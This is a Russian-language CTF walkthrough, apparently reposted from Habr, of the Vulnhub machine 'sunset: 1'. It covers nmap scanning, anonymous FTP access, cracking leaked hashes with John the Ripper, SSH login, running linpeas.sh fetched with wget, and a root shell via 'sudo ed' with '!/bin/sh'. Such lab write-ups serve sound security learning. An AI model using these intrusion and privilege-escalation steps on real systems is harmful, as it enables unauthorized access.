Одной из таких площадок как раз является Vulnhub. Правда, на этом ресурсе выкладывают только виртуальные машины, и там можно найти целые серии виртуальных машин. Сегодня мы поговорим о серии Sunset и рассмотрим первую ВМ (sunset: 1).
Сканирование
Начинаем с определения ее IP адреса. Это можно сделать при помощи команды:
netdiscover
Адресом нашей цели будет 192.168.1.153. Мы узнали адрес, теперь можно запустить nmap. Для сканирования nmap’ом я использую следующую команду:
nmap -sC -sV -oN sunset-1 192.168.1.153
Где sC отвечает за сканирование с использованием скриптов, sV – за определение служб и их версий, и oN — за вывод в файл (чтобы потом не пришлось сканировать заново, если чего вдруг случится).
Поиск точки входа
Мы видим, что на целевом хосте открыто 2 порта: 21 (FTP) и 22 (SSH). Также у нас есть возможность авторизоваться как анонимный пользователь.
Подключаемся к ftp:
ftp 192.168.1.153
При этом используем логин: anonymous и пароль: anonymous. Командой ls проверяем содержимое папки, видимо кроме файла backup здесь ничего нет. Доступ к backup’у у нас есть, так что стоит в нем покопаться. Скачиваем этот файл командой get.
В backup’е мы находим логины и хешированные пароли (в духе CTF).
Вариантов у нас не особо много, видимо стоит попробовать их «крякнуть». Крякать пароли мы будем с помощью нашего друга John’а (John the Ripper или просто John) по словарю rockyou.txt. Для этого я использую следующую команду:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
И да, найденные хеши я сохранил в отдельном файле hashes. В результате работы Jhon’а, мы получаем пароль cheer14 для пользователя sunset. Результаты работы Джона можно также посмотреть командой show к файлу с хешами.
Получаем доступ пользователя
Теперь у нас есть пароль пользователя, и нам нужно его использовать. На машине был открыт SSH, так давайте попробуем к нему подключиться с имеющимися учетными данными.
ssh sunset@192.168.1.153
И вот мы внутри. Осматриваемся с помощью команды ls -la и видим, что мы в домашней директории пользователя и тут же лежит флаг user.txt.
Повышение привилегий
Теперь нужно получить права суперпользователя. Для этого мы можем использовать linpeas.sh (скрипт для поиска ошибок в конфигурации, логинов и паролей в открытом виде и т.д.), который предлагает возможные векторы атаки для повышения привилегий. Скачать этот скрипт можно на гитхабе.
Для того, чтобы скачать его на целевую машину нужно поднять сервер. Делаем это с помощью питона:
python3 -m http.server 80
На целевой машине прописываем
wget http://192.168.1.68/linpeas.sh
Скрипт успешно скачан. Теперь нужно сделать файл исполняемым, и можно запускать.
chmod +x linpeas.sh sh linpeas.sh
После выполнения скрипт подсветит красным текстом с желтым фоном возможные векторы атаки
Скрипт нам говорит, что мы можем использовать ed справами root’а без использования пароля. Но даже без помощи скрипта мы можем проверить доступные к выполнению команды от имени root, просто написав в консоли
sudo -l
Нам доступен текстовый редактор от имени суперпользователя.
Идем на GTFObins, ищем там наш текстовый редактор и выбираем команду для получения шелла.
!/bin/sh
И теперь мы получили права root.
Переходим в домашнюю директорию root’а и забираем второй флаг.
Вот такую, достаточно простую коробочку мы сегодня открыли. Она как раз подходит для начинающих, но спроектирована больше для CTF. На практике такое редко встречается, если вообще встречается.
ссылка на оригинал статьи https://habr.com/ru/company/pm/blog/529718/
Добавить комментарий